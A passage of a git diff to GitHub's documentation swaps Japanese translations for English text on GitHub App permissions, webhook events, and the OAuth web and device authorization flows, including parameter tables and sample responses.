ghae-issue-4864 or ghec %} -| `vulnerability_alerts` | リポジトリ内の脆弱性のある依存関係に対するセキュリティアラートを受信するためのアクセス権を付与します。 詳細は「[脆弱性のある依存関係に関するアラートについて](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies/)」を参照。 `none`、`read` のいずれかです。{% endif %} -| `Watch` | リストへのアクセス権を付与し、ユーザがサブスクライブするリポジトリの変更を許可します。 `none`、`read`、`write` のいずれかです。 | +Permission | Description +---------- | ----------- +[`administration`](/rest/reference/permissions-required-for-github-apps/#permission-on-administration) | Grants access to various endpoints for organization and repository administration. Can be one of: `none`, `read`, or `write`.{% ifversion fpt or ghec %} +[`blocking`](/rest/reference/permissions-required-for-github-apps/#permission-on-blocking) | Grants access to the [Blocking Users API](/rest/reference/users#blocking). Can be one of: `none`, `read`, or `write`.{% endif %} +[`checks`](/rest/reference/permissions-required-for-github-apps/#permission-on-checks) | Grants access to the [Checks API](/rest/reference/checks). Can be one of: `none`, `read`, or `write`. +`content_references` | Grants access to the "[Create a content attachment](/rest/reference/apps#create-a-content-attachment)" endpoint. Can be one of: `none`, `read`, or `write`. +[`contents`](/rest/reference/permissions-required-for-github-apps/#permission-on-contents) | Grants access to various endpoints that allow you to modify repository contents. Can be one of: `none`, `read`, or `write`. +[`deployments`](/rest/reference/permissions-required-for-github-apps/#permission-on-deployments) | Grants access to the [Deployments API](/rest/reference/repos#deployments). Can be one of: `none`, `read`, or `write`.{% ifversion fpt or ghes or ghec %} +[`emails`](/rest/reference/permissions-required-for-github-apps/#permission-on-emails) | Grants access to the [Emails API](/rest/reference/users#emails). Can be one of: `none`, `read`, or `write`.{% endif %} +[`followers`](/rest/reference/permissions-required-for-github-apps/#permission-on-followers) | Grants access to the [Followers API](/rest/reference/users#followers). Can be one of: `none`, `read`, or `write`. +[`gpg_keys`](/rest/reference/permissions-required-for-github-apps/#permission-on-gpg-keys) | Grants access to the [GPG Keys API](/rest/reference/users#gpg-keys). Can be one of: `none`, `read`, or `write`. +[`issues`](/rest/reference/permissions-required-for-github-apps/#permission-on-issues) | Grants access to the [Issues API](/rest/reference/issues). Can be one of: `none`, `read`, or `write`. +[`keys`](/rest/reference/permissions-required-for-github-apps/#permission-on-keys) | Grants access to the [Public Keys API](/rest/reference/users#keys). Can be one of: `none`, `read`, or `write`. +[`members`](/rest/reference/permissions-required-for-github-apps/#permission-on-members) | Grants access to manage an organization's members. Can be one of: `none`, `read`, or `write`.{% ifversion fpt or ghec %} +[`metadata`](/rest/reference/permissions-required-for-github-apps/#metadata-permissions) | Grants access to read-only endpoints that do not leak sensitive data. Can be `read` or `none`. Defaults to `read` when you set any permission, or defaults to `none` when you don't specify any permissions for the {% data variables.product.prodname_github_app %}. +[`organization_administration`](/rest/reference/permissions-required-for-github-apps/#permission-on-organization-administration) | Grants access to "[Update an organization](/rest/reference/orgs#update-an-organization)" endpoint and the [Organization Interaction Restrictions API](/rest/reference/interactions#set-interaction-restrictions-for-an-organization). Can be one of: `none`, `read`, or `write`.{% endif %} +[`organization_hooks`](/rest/reference/permissions-required-for-github-apps/#permission-on-organization-hooks) | Grants access to the [Organization Webhooks API](/rest/reference/orgs#webhooks/). Can be one of: `none`, `read`, or `write`. +`organization_plan` | Grants access to get information about an organization's plan using the "[Get an organization](/rest/reference/orgs#get-an-organization)" endpoint. Can be one of: `none` or `read`. +[`organization_projects`](/rest/reference/permissions-required-for-github-apps/#permission-on-organization-projects) | Grants access to the [Projects API](/rest/reference/projects). Can be one of: `none`, `read`, `write`, or `admin`.{% ifversion fpt or ghec %} +[`organization_user_blocking`](/rest/reference/permissions-required-for-github-apps/#permission-on-organization-projects) | Grants access to the [Blocking Organization Users API](/rest/reference/orgs#blocking). Can be one of: `none`, `read`, or `write`.{% endif %} +[`pages`](/rest/reference/permissions-required-for-github-apps/#permission-on-pages) | Grants access to the [Pages API](/rest/reference/repos#pages). Can be one of: `none`, `read`, or `write`. +`plan` | Grants access to get information about a user's GitHub plan using the "[Get a user](/rest/reference/users#get-a-user)" endpoint. Can be one of: `none` or `read`. +[`pull_requests`](/rest/reference/permissions-required-for-github-apps/#permission-on-pull-requests) | Grants access to various pull request endpoints. Can be one of: `none`, `read`, or `write`. +[`repository_hooks`](/rest/reference/permissions-required-for-github-apps/#permission-on-repository-hooks) | Grants access to the [Repository Webhooks API](/rest/reference/repos#hooks). Can be one of: `none`, `read`, or `write`. +[`repository_projects`](/rest/reference/permissions-required-for-github-apps/#permission-on-repository-projects) | Grants access to the [Projects API](/rest/reference/projects). Can be one of: `none`, `read`, `write`, or `admin`.{% ifversion fpt or ghes > 3.0 or ghec %} +[`secret_scanning_alerts`](/rest/reference/permissions-required-for-github-apps/#permission-on-secret-scanning-alerts) | Grants access to the [Secret scanning API](/rest/reference/secret-scanning). Can be one of: `none`, `read`, or `write`.{% endif %}{% ifversion fpt or ghes or ghec %} +[`security_events`](/rest/reference/permissions-required-for-github-apps/#permission-on-security-events) | Grants access to the [Code scanning API](/rest/reference/code-scanning/). Can be one of: `none`, `read`, or `write`.{% endif %} +[`single_file`](/rest/reference/permissions-required-for-github-apps/#permission-on-single-file) | Grants access to the [Contents API](/rest/reference/repos#contents). Can be one of: `none`, `read`, or `write`. +[`starring`](/rest/reference/permissions-required-for-github-apps/#permission-on-starring) | Grants access to the [Starring API](/rest/reference/activity#starring). Can be one of: `none`, `read`, or `write`. +[`statuses`](/rest/reference/permissions-required-for-github-apps/#permission-on-statuses) | Grants access to the [Statuses API](/rest/reference/repos#statuses). Can be one of: `none`, `read`, or `write`. +[`team_discussions`](/rest/reference/permissions-required-for-github-apps/#permission-on-team-discussions) | Grants access to the [Team Discussions API](/rest/reference/teams#discussions) and the [Team Discussion Comments API](/rest/reference/teams#discussion-comments). Can be one of: `none`, `read`, or `write`.{% ifversion fpt or ghes or ghae-issue-4864 or ghec %} +`vulnerability_alerts`| Grants access to receive security alerts for vulnerable dependencies in a repository. See "[About alerts for vulnerable dependencies](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies/)" to learn more. Can be one of: `none` or `read`.{% endif %} +`watching` | Grants access to list and change repositories a user is subscribed to. Can be one of: `none`, `read`, or `write`. -## {% data variables.product.prodname_github_app %} webhook イベント +## {% data variables.product.prodname_github_app %} webhook events -| Webhook イベント名 | 必要な権限 | 説明 | -| -------------------------------------------------------------------------------------- | ------------------------------------------------- | -------------------------------------------------------------------------------- | -| [`check_run`](/webhooks/event-payloads/#check_run) | `checks` | {% data reusables.webhooks.check_run_short_desc %} -| [`check_suite`](/webhooks/event-payloads/#check_suite) | `checks` | {% data reusables.webhooks.check_suite_short_desc %} -| [`commit_comment`](/webhooks/event-payloads/#commit_comment) | `contents` | {% data reusables.webhooks.commit_comment_short_desc %} -| [`content_reference`](/webhooks/event-payloads/#content_reference) | `content_references` | {% data reusables.webhooks.content_reference_short_desc %} -| [`create`](/webhooks/event-payloads/#create) | `contents` | {% data reusables.webhooks.create_short_desc %} -| [`delete`](/webhooks/event-payloads/#delete) | `contents` | {% data reusables.webhooks.delete_short_desc %} -| [`deployment`](/webhooks/event-payloads/#deployment) | `deployments` | {% data reusables.webhooks.deployment_short_desc %} -| [`deployment_status`](/webhooks/event-payloads/#deployment_status) | `deployments` | {% data reusables.webhooks.deployment_status_short_desc %} -| [`フォーク`](/webhooks/event-payloads/#fork) | `contents` | {% data reusables.webhooks.fork_short_desc %} -| [`gollum`](/webhooks/event-payloads/#gollum) | `contents` | {% data reusables.webhooks.gollum_short_desc %} -| [`issues`](/webhooks/event-payloads/#issues) | `issues` | {% data reusables.webhooks.issues_short_desc %} -| [`issue_comment`](/webhooks/event-payloads/#issue_comment) | `issues` | {% data reusables.webhooks.issue_comment_short_desc %} -| [`ラベル`](/webhooks/event-payloads/#label) | `メタデータ` | {% data reusables.webhooks.label_short_desc %} -| [`メンバー`](/webhooks/event-payloads/#member) | `members` | {% data reusables.webhooks.member_short_desc %} -| [`membership`](/webhooks/event-payloads/#membership) | `members` | {% data reusables.webhooks.membership_short_desc %} -| [`マイルストーン`](/webhooks/event-payloads/#milestone) | `pull_request` | {% data reusables.webhooks.milestone_short_desc %}{% ifversion fpt or ghec %} -| [`org_block`](/webhooks/event-payloads/#org_block) | `organization_administration` | {% data reusables.webhooks.org_block_short_desc %}{% endif %} -| [`Organization`](/webhooks/event-payloads/#organization) | `members` | {% data reusables.webhooks.organization_short_desc %} -| [`page_build`](/webhooks/event-payloads/#page_build) | `pages` | {% data reusables.webhooks.page_build_short_desc %} -| [`project`](/webhooks/event-payloads/#project) | `repository_projects` または `organization_projects` | {% data reusables.webhooks.project_short_desc %} -| [`project_card`](/webhooks/event-payloads/#project_card) | `repository_projects` または `organization_projects` | {% data reusables.webhooks.project_card_short_desc %} -| [`project_column`](/webhooks/event-payloads/#project_column) | `repository_projects` または `organization_projects` | {% data reusables.webhooks.project_column_short_desc %} -| [`public`](/webhooks/event-payloads/#public) | `メタデータ` | {% data reusables.webhooks.public_short_desc %} -| [`pull_request`](/webhooks/event-payloads/#pull_request) | `pull_requests` | {% data reusables.webhooks.pull_request_short_desc %} -| [`pull_request_review`](/webhooks/event-payloads/#pull_request_review) | `pull_request` | {% data reusables.webhooks.pull_request_review_short_desc %} -| [`pull_request_review_comment`](/webhooks/event-payloads/#pull_request_review_comment) | `pull_request` | {% data reusables.webhooks.pull_request_review_comment_short_desc %} -| [`プッシュ`](/webhooks/event-payloads/#push) | `contents` | {% data reusables.webhooks.push_short_desc %} -| [`リリース`](/webhooks/event-payloads/#release) | `contents` | {% data reusables.webhooks.release_short_desc %} -| [`リポジトリ`](/webhooks/event-payloads/#repository) | `メタデータ` | {% data reusables.webhooks.repository_short_desc %}{% ifversion fpt or ghec %} -| [`repository_dispatch`](/webhooks/event-payloads/#repository_dispatch) | `contents` | GitHub Action を使用するインテグレーターがカスタムイベントをトリガーできるようにします。{% endif %} -| [`ステータス`](/webhooks/event-payloads/#status) | `statuses` | {% data reusables.webhooks.status_short_desc %} -| [`Team`](/webhooks/event-payloads/#team) | `members` | {% data reusables.webhooks.team_short_desc %} -| [`team_add`](/webhooks/event-payloads/#team_add) | `members` | {% data reusables.webhooks.team_add_short_desc %} -| [`Watch`](/webhooks/event-payloads/#watch) | `メタデータ` | {% data reusables.webhooks.watch_short_desc %} +Webhook event name | Required permission | Description +------------------ | ------------------- | ----------- +[`check_run`](/webhooks/event-payloads/#check_run) |`checks` | {% data reusables.webhooks.check_run_short_desc %} +[`check_suite`](/webhooks/event-payloads/#check_suite) |`checks` | {% data reusables.webhooks.check_suite_short_desc %} +[`commit_comment`](/webhooks/event-payloads/#commit_comment) | `contents` | {% data reusables.webhooks.commit_comment_short_desc %} +[`content_reference`](/webhooks/event-payloads/#content_reference) |`content_references` | {% data reusables.webhooks.content_reference_short_desc %} +[`create`](/webhooks/event-payloads/#create) | `contents` | {% data reusables.webhooks.create_short_desc %} +[`delete`](/webhooks/event-payloads/#delete) | `contents` | {% data reusables.webhooks.delete_short_desc %} +[`deployment`](/webhooks/event-payloads/#deployment) | `deployments` | {% data reusables.webhooks.deployment_short_desc %} +[`deployment_status`](/webhooks/event-payloads/#deployment_status) | `deployments` | {% data reusables.webhooks.deployment_status_short_desc %} +[`fork`](/webhooks/event-payloads/#fork) | `contents` | {% data reusables.webhooks.fork_short_desc %} +[`gollum`](/webhooks/event-payloads/#gollum) | `contents` | {% data reusables.webhooks.gollum_short_desc %} +[`issues`](/webhooks/event-payloads/#issues) | `issues` | {% data reusables.webhooks.issues_short_desc %} +[`issue_comment`](/webhooks/event-payloads/#issue_comment) | `issues` | {% data reusables.webhooks.issue_comment_short_desc %} +[`label`](/webhooks/event-payloads/#label) | `metadata` | {% data reusables.webhooks.label_short_desc %} +[`member`](/webhooks/event-payloads/#member) | `members` | {% data reusables.webhooks.member_short_desc %} +[`membership`](/webhooks/event-payloads/#membership) | `members` | {% data reusables.webhooks.membership_short_desc %} +[`milestone`](/webhooks/event-payloads/#milestone) | `pull_request` | {% data reusables.webhooks.milestone_short_desc %}{% ifversion fpt or ghec %} +[`org_block`](/webhooks/event-payloads/#org_block) | `organization_administration` | {% data reusables.webhooks.org_block_short_desc %}{% endif %} +[`organization`](/webhooks/event-payloads/#organization) | `members` | {% data reusables.webhooks.organization_short_desc %} +[`page_build`](/webhooks/event-payloads/#page_build) | `pages` | {% data reusables.webhooks.page_build_short_desc %} +[`project`](/webhooks/event-payloads/#project) | `repository_projects` or `organization_projects` | {% data reusables.webhooks.project_short_desc %} +[`project_card`](/webhooks/event-payloads/#project_card) | `repository_projects` or `organization_projects` | {% data reusables.webhooks.project_card_short_desc %} +[`project_column`](/webhooks/event-payloads/#project_column) | `repository_projects` or `organization_projects` | {% data reusables.webhooks.project_column_short_desc %} +[`public`](/webhooks/event-payloads/#public) | `metadata` | {% data reusables.webhooks.public_short_desc %} +[`pull_request`](/webhooks/event-payloads/#pull_request) | `pull_requests` | {% data reusables.webhooks.pull_request_short_desc %} +[`pull_request_review`](/webhooks/event-payloads/#pull_request_review) | `pull_request` | {% data reusables.webhooks.pull_request_review_short_desc %} +[`pull_request_review_comment`](/webhooks/event-payloads/#pull_request_review_comment) | `pull_request` | {% data reusables.webhooks.pull_request_review_comment_short_desc %} +[`push`](/webhooks/event-payloads/#push) | `contents` | {% data reusables.webhooks.push_short_desc %} +[`release`](/webhooks/event-payloads/#release) | `contents` | {% data reusables.webhooks.release_short_desc %} +[`repository`](/webhooks/event-payloads/#repository) |`metadata` | {% data reusables.webhooks.repository_short_desc %}{% ifversion fpt or ghec %} +[`repository_dispatch`](/webhooks/event-payloads/#repository_dispatch) | `contents` | Allows integrators using GitHub Actions to trigger custom events.{% endif %} +[`status`](/webhooks/event-payloads/#status) | `statuses` | {% data reusables.webhooks.status_short_desc %} +[`team`](/webhooks/event-payloads/#team) | `members` | {% data reusables.webhooks.team_short_desc %} +[`team_add`](/webhooks/event-payloads/#team_add) | `members` | {% data reusables.webhooks.team_add_short_desc %} +[`watch`](/webhooks/event-payloads/#watch) | `metadata` | {% data reusables.webhooks.watch_short_desc %} diff --git a/translations/ja-JP/content/developers/apps/building-oauth-apps/authorizing-oauth-apps.md b/translations/ja-JP/content/developers/apps/building-oauth-apps/authorizing-oauth-apps.md index 8ba835fa63..cd7807c22f 100644 --- a/translations/ja-JP/content/developers/apps/building-oauth-apps/authorizing-oauth-apps.md +++ b/translations/ja-JP/content/developers/apps/building-oauth-apps/authorizing-oauth-apps.md @@ -1,5 +1,5 @@ --- -title: OAuth アプリケーションの認可 +title: Authorizing OAuth Apps intro: '{% data reusables.shortdesc.authorizing_oauth_apps %}' redirect_from: - /apps/building-integrations/setting-up-and-registering-oauth-apps/about-authorization-options-for-oauth-apps/ @@ -17,67 +17,66 @@ versions: topics: - OAuth Apps --- +{% data variables.product.product_name %}'s OAuth implementation supports the standard [authorization code grant type](https://tools.ietf.org/html/rfc6749#section-4.1) and the OAuth 2.0 [Device Authorization Grant](https://tools.ietf.org/html/rfc8628) for apps that don't have access to a web browser. -{% data variables.product.product_name %}のOAuthの実装は、標準の[認可コード許可タイプ](https://tools.ietf.org/html/rfc6749#section-4.1)およびWebブラウザを利用できないアプリケーションのためのOAuth 2.0の[Device Authorization Grant](https://tools.ietf.org/html/rfc8628)をサポートしています。 +If you want to skip authorizing your app in the standard way, such as when testing your app, you can use the [non-web application flow](#non-web-application-flow). -アプリケーションをテストする場合のように、標準的な方法でのアプリケーションの認可をスキップしたい場合には[非Webアプリケーションフロー](#non-web-application-flow)を利用できます。 +To authorize your OAuth app, consider which authorization flow best fits your app. -OAuthアプリケーションを認可する場合は、そのアプリケーションにどの認可フローが最も適切かを考慮してください。 +- [web application flow](#web-application-flow): Used to authorize users for standard OAuth apps that run in the browser. (The [implicit grant type](https://tools.ietf.org/html/rfc6749#section-4.2) is not supported.){% ifversion fpt or ghae or ghes > 3.0 or ghec %} +- [device flow](#device-flow): Used for headless apps, such as CLI tools.{% endif %} -- [Webアプリケーションフロー](#web-application-flow): ブラウザで実行される標準的なOAuthアプリケーションのためのユーザを認可するために使われます。 ([暗黙の許可タイプ](https://tools.ietf.org/html/rfc6749#section-4.2)はサポートされません。){% ifversion fpt or ghae or ghes > 3.0 or ghec %} -- [デバイスフロー](#device-flow): CLIツールなど、ヘッドレスアプリケーションに使われます。{% endif %} - -## Web アプリケーションフロー +## Web application flow {% note %} -**ノート:** GitHub Appを構築しているなら、OAuth Webアプリケーションフローを使うこともできますが、セットアップには多少の重要な違いがあります。 詳しい情報については「[GitHub Appのユーザの特定と認可](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/)」を参照してください。 +**Note:** If you are building a GitHub App, you can still use the OAuth web application flow, but the setup has some important differences. See "[Identifying and authorizing users for GitHub Apps](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/)" for more information. {% endnote %} -アプリケーションのユーザの認可のためのWebアプリケーションフローは以下のとおりです。 +The web application flow to authorize users for your app is: -1. ユーザはGitHubのアイデンティティをリクエストするためにリダイレクトされます -2. ユーザはGitHubによってサイトにリダイレクトして戻されます -3. アプリケーションはユーザのアクセストークンと共にAPIにアクセスします +1. Users are redirected to request their GitHub identity +2. Users are redirected back to your site by GitHub +3. Your app accesses the API with the user's access token -### 1. ユーザのGitHubアイデンティティのリクエスト +### 1. Request a user's GitHub identity GET {% data variables.product.oauth_host_code %}/login/oauth/authorize -GitHub Appが`login`パラメータを指定すると、ユーザに対して利用できる特定のアカウントでサインインしてアプリケーションを認可するよう求めます。 +When your GitHub App specifies a `login` parameter, it prompts users with a specific account they can use for signing in and authorizing your app. -#### パラメータ +#### Parameters -| 名前 | 種類 | 説明 | -| -------------- | -------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `client_id` | `string` | **必須**。 ユーザが{% ifversion fpt or ghec %}[登録](https://github.com/settings/applications/new){% else %}登録{% endif %}されたときに受け取るクライアントID。 | -| `redirect_uri` | `string` | 認可の後にユーザが送られるアプリケーション中のURL。 [リダイレクトURL](#redirect-urls)に関する詳細については下を参照してください。 | -| `login` | `string` | サインインとアプリケーションの認可に使われるアカウントを指示します。 | -| `スコープ` | `string` | スペース区切りの[スコープ](/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/)のリスト。 渡されなかった場合、ユーザの`スコープ`のデフォルトは空のリストになり、アプリケーションにはどのスコープも認可されません。 アプリケーションに対して認可したスコープがあるユーザに対しては、スコープのリストを含むOAuthの認可ページは示されません。 その代わりに、フローのこのステップはユーザがアプリケーションに認可したスコープ群で自動的に完了します。 たとえば、ユーザがすでにWebフローを2回行っており、1つのトークンで`user`スコープを、もう1つのトークンで`repo`スコープを認可している場合、3番目のWebフローで`scope`が渡されなければ、`user`及び`repo`スコープを持つトークンが返されます。 | -| `state` | `string` | {% data reusables.apps.state_description %} -| `allow_signup` | `string` | OAuthフローの間に、認証されていないユーザに対してGitHubへのサインアップの選択肢が提示されるかどうか。 デフォルトは `true` です。 ポリシーでサインアップが禁止されている場合は`false`を使ってください。 | +Name | Type | Description +-----|------|-------------- +`client_id`|`string` | **Required**. The client ID you received from GitHub when you {% ifversion fpt or ghec %}[registered](https://github.com/settings/applications/new){% else %}registered{% endif %}. +`redirect_uri`|`string` | The URL in your application where users will be sent after authorization. See details below about [redirect urls](#redirect-urls). +`login` | `string` | Suggests a specific account to use for signing in and authorizing the app. +`scope`|`string` | A space-delimited list of [scopes](/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/). If not provided, `scope` defaults to an empty list for users that have not authorized any scopes for the application. For users who have authorized scopes for the application, the user won't be shown the OAuth authorization page with the list of scopes. Instead, this step of the flow will automatically complete with the set of scopes the user has authorized for the application. For example, if a user has already performed the web flow twice and has authorized one token with `user` scope and another token with `repo` scope, a third web flow that does not provide a `scope` will receive a token with `user` and `repo` scope. +`state` | `string` | {% data reusables.apps.state_description %} +`allow_signup`|`string` | Whether or not unauthenticated users will be offered an option to sign up for GitHub during the OAuth flow. The default is `true`. Use `false` when a policy prohibits signups. -### 2. ユーザはGitHubによってサイトにリダイレクトして戻されます +### 2. Users are redirected back to your site by GitHub -ユーザがリクエストを受け付けると、{% data variables.product.product_name %}は一時的な`コード`をcodeパラメータに、そして前のステップで渡された状態を`state`パラメータに入れてリダイレクトさせ、サイトに戻します。 一時コードは10分後に期限切れになります。 状態が一致しない場合は、リクエストを作成したサードパーティとユーザはこのプロセスを中止しなければなりません。 +If the user accepts your request, {% data variables.product.product_name %} redirects back to your site with a temporary `code` in a code parameter as well as the state you provided in the previous step in a `state` parameter. The temporary code will expire after 10 minutes. If the states don't match, then a third party created the request, and you should abort the process. -この`コード`のアクセストークンとの交換 +Exchange this `code` for an access token: POST {% data variables.product.oauth_host_code %}/login/oauth/access_token -#### パラメータ +#### Parameters -| 名前 | 種類 | 説明 | -| --------------- | -------- | -------------------------------------------------------------------------------------------------------------------------- | -| `client_id` | `string` | **必須。** {% data variables.product.prodname_oauth_app %}に対して{% data variables.product.product_name %}から受け取ったクライアントID。 | -| `client_secret` | `string` | **必須。** {% data variables.product.prodname_oauth_app %}に対して{% data variables.product.product_name %}から受け取ったクライアントシークレット。 | -| `コード` | `string` | **必須。** ステップ1でレスポンスとして受け取ったコード。 | -| `redirect_uri` | `string` | 認可の後にユーザが送られるアプリケーション中のURL。 | +Name | Type | Description +-----|------|-------------- +`client_id` | `string` | **Required.** The client ID you received from {% data variables.product.product_name %} for your {% data variables.product.prodname_oauth_app %}. +`client_secret` | `string` | **Required.** The client secret you received from {% data variables.product.product_name %} for your {% data variables.product.prodname_oauth_app %}. +`code` | `string` | **Required.** The code you received as a response to Step 1. +`redirect_uri` | `string` | The URL in your application where users are sent after authorization. -#### レスポンス +#### Response -デフォルトでは、レスポンスは以下の形式になります。 +By default, the response takes the following form: ``` access_token={% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}gho_16C7e42F292c6912E7710c838347Ae178B4a{% else %}e72e16c7e42f292c6912e7710c838347ae178b4a{% endif %}&scope=repo%2Cgist&token_type=bearer @@ -103,14 +102,14 @@ Accept: application/xml ``` -### 3. アクセストークンを使ったAPIへのアクセス +### 3. Use the access token to access the API -このアクセストークンを使えば、ユーザの代わりにAPIへのリクエストを発行できます。 +The access token allows you to make requests to the API on a behalf of a user. Authorization: token OAUTH-TOKEN GET {% data variables.product.api_url_code %}/user -たとえば、curlでは以下のようにAuthorizationヘッダを設定できます。 +For example, in curl you can set the Authorization header like this: ```shell curl -H "Authorization: token OAUTH-TOKEN" {% data variables.product.api_url_pre %}/user @@ -118,38 +117,38 @@ curl -H "Authorization: token OAUTH-TOKEN" {% data variables.product.api_url_pre {% ifversion fpt or ghae or ghes > 3.0 or ghec %} -## デバイスフロー +## Device flow {% note %} -**注釈:** デバイスフローは現在パブリックベータであり、変更されることがあります。 +**Note:** The device flow is in public beta and subject to change. {% endnote %} -デバイスフローを使えば、CLIツールやGit認証情報マネージャーなどのヘッドレスアプリケーションのユーザを認可できます。 +The device flow allows you to authorize users for a headless app, such as a CLI tool or Git credential manager. -### デバイスフローの概要 +### Overview of the device flow -1. アプリケーションはデバイスとユーザの検証コードをリクエストし、ユーザがユーザ検証コードを入力する認可URLを取得します。 -2. アプリケーションは{% data variables.product.device_authorization_url %}でユーザ検証コードを入力するようユーザに求めます。 -3. アプリケーションはユーザ認証のステータスをポーリングします。 ユーザがデバイスを認可すると、アプリケーションは新しいアクセストークンと共にAPIコールを発行できるようになります。 +1. Your app requests device and user verification codes and gets the authorization URL where the user will enter the user verification code. +2. The app prompts the user to enter a user verification code at {% data variables.product.device_authorization_url %}. +3. The app polls for the user authentication status. Once the user has authorized the device, the app will be able to make API calls with a new access token. -### ステップ1: アプリケーションによるGitHubからのデバイス及びユーザ検証コードの要求 +### Step 1: App requests the device and user verification codes from GitHub POST {% data variables.product.oauth_host_code %}/login/device/code -アプリケーションは、次のステップでユーザに認可を求めるために使うユーザ検証コードと検証URLをリクエストしなければなりません。 このリクエストには、アプリケーションがアクセストークンの受け取りとユーザの認可のステータスチェックに使わなければならないデバイス検証コードも返されます。 +Your app must request a user verification code and verification URL that the app will use to prompt the user to authenticate in the next step. This request also returns a device verification code that the app must use to receive an access token and check the status of user authentication. -#### 入力パラメータ +#### Input Parameters -| 名前 | 種類 | 説明 | -| ----------- | -------- | ---------------------------------------------------------------------------- | -| `client_id` | `string` | **必須。** {% data variables.product.product_name %}から受け取るアプリケーションのためのクライアントID。 | -| `スコープ` | `string` | アプリケーションがアクセスをリクエストしているスコープ。 | +Name | Type | Description +-----|------|-------------- +`client_id` | `string` | **Required.** The client ID you received from {% data variables.product.product_name %} for your app. +`scope` | `string` | The scope that your app is requesting access to. -#### レスポンス +#### Response -デフォルトでは、レスポンスは以下の形式になります。 +By default, the response takes the following form: ``` device_code=3584d83530557fdd1f46af8289938c8ef79f9dc5&expires_in=900&interval=5&user_code=WDJB-MJHT&verification_uri=https%3A%2F%{% data variables.product.product_url %}%2Flogin%2Fdevice @@ -179,43 +178,43 @@ Accept: application/xml ``` -#### レスポンスのパラメータ +#### Response parameters -| 名前 | 種類 | 説明 | -| ------------------ | --------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `device_code` | `string` | デバイス検証コードは40文字で、デバイスの検証に使われます。 | -| `user_code` | `string` | ユーザ検証コードは、ユーザがブラウザに入力できるようにデバイスに表示されます。 このコードは8文字で、途中にハイフンがあります。 | -| `verification_uri` | `string` | ユーザが`user_code`を入力しなければならない検証URL: {% data variables.product.device_authorization_url %}。 | -| `expires_in` | `integer` | `device_code`及び`user_code`が期限切れになるまでの秒数。 デフォルトは900秒、すなわち15分です。 | -| `interval` | `integer` | デバイスの認可を完了するための新しいアクセストークンのリクエスト（`POST {% data variables.product.oauth_host_code %}/login/oauth/access_token`）を発行できるようになるまでに経過しなければならない最小の秒数。 たとえばintervalが5であれば、5秒が経過するまでは新しいリクエストを発行できません。 5秒間に複数のリクエストを発行すると、レート制限に達して`slow_down`エラーが返されます。 | +Name | Type | Description +-----|------|-------------- +`device_code` | `string` | The device verification code is 40 characters and used to verify the device. +`user_code` | `string` | The user verification code is displayed on the device so the user can enter the code in a browser. This code is 8 characters with a hyphen in the middle. +`verification_uri` | `string` | The verification URL where users need to enter the `user_code`: {% data variables.product.device_authorization_url %}. +`expires_in` | `integer`| The number of seconds before the `device_code` and `user_code` expire. The default is 900 seconds or 15 minutes. +`interval` | `integer` | The minimum number of seconds that must pass before you can make a new access token request (`POST {% data variables.product.oauth_host_code %}/login/oauth/access_token`) to complete the device authorization. For example, if the interval is 5, then you cannot make a new request until 5 seconds pass. If you make more than one request over 5 seconds, then you will hit the rate limit and receive a `slow_down` error. -### ステップ2: ブラウザでユーザコードの入力をユーザに促す +### Step 2: Prompt the user to enter the user code in a browser -デバイスはユーザ検証コードを表示し、ユーザに対してこのコードを{% data variables.product.device_authorization_url %}で入力するように求めます。 +Your device will show the user verification code and prompt the user to enter the code at {% data variables.product.device_authorization_url %}. - ![デバイスに表示されたユーザ検証コードの入力フィールド](/assets/images/github-apps/device_authorization_page_for_user_code.png) + ![Field to enter the user verification code displayed on your device](/assets/images/github-apps/device_authorization_page_for_user_code.png) -### ステップ3: ユーザがデバイスを認証したか、アプリケーションがGitHubをポーリング +### Step 3: App polls GitHub to check if the user authorized the device POST {% data variables.product.oauth_host_code %}/login/oauth/access_token -アプリケーションは、デバイス及びユーザコードが期限切れになるか、有効なユーザコードでアプリケーションが認可されるまで、`POST {% data variables.product.oauth_host_code %}/login/oauth/access_token`をポーリングするデバイス認可リクエストを発行します。 アプリケーションは、レート制限エラーを避けるために、ステップ1で取得したポーリングの最小`interval`を使います。 詳しい情報については「[デバイスフローのためのレート制限](#rate-limits-for-the-device-flow)」を参照してください。 +Your app will make device authorization requests that poll `POST {% data variables.product.oauth_host_code %}/login/oauth/access_token`, until the device and user codes expire or the user has successfully authorized the app with a valid user code. The app must use the minimum polling `interval` retrieved in step 1 to avoid rate limit errors. For more information, see "[Rate limits for the device flow](#rate-limits-for-the-device-flow)." -ユーザは、15分（あるいは900秒）以内に有効なコードを入力しなければなりません。 15分が経過すると、新たなデバイス認可コードを`POST {% data variables.product.oauth_host_code %}/login/device/code`でリクエストしなければなりません。 +The user must enter a valid code within 15 minutes (or 900 seconds). After 15 minutes, you will need to request a new device authorization code with `POST {% data variables.product.oauth_host_code %}/login/device/code`. -ユーザが認可されると、アプリケーションはユーザの代わりにAPIにリクエストを発行するために利用できるアクセストークンを受け取ります。 +Once the user has authorized, the app will receive an access token that can be used to make requests to the API on behalf of a user. -#### 入力パラメータ +#### Input parameters -| 名前 | 種類 | 説明 | -| ------------- | -------- | ---------------------------------------------------------------------------------------------------------------------- | -| `client_id` | `string` | **必須。** {% data variables.product.prodname_oauth_app %}に対して{% data variables.product.product_name %}から受け取ったクライアントID。 | -| `device_code` | `string` | **必須。** `POST {% data variables.product.oauth_host_code %}/login/device/code`リクエストから受け取ったデバイス検証コード。 | -| `grant_type` | `string` | **必須。** 許可タイプは`urn:ietf:params:oauth:grant-type:device_code`でなければなりません。 | +Name | Type | Description +-----|------|-------------- +`client_id` | `string` | **Required.** The client ID you received from {% data variables.product.product_name %} for your {% data variables.product.prodname_oauth_app %}. +`device_code` | `string` | **Required.** The device verification code you received from the `POST {% data variables.product.oauth_host_code %}/login/device/code` request. +`grant_type` | `string` | **Required.** The grant type must be `urn:ietf:params:oauth:grant-type:device_code`. -#### レスポンス +#### Response -デフォルトでは、レスポンスは以下の形式になります。 +By default, the response takes the following form: ``` access_token={% ifversion fpt or ghes > 3.1 or ghae-next or ghec 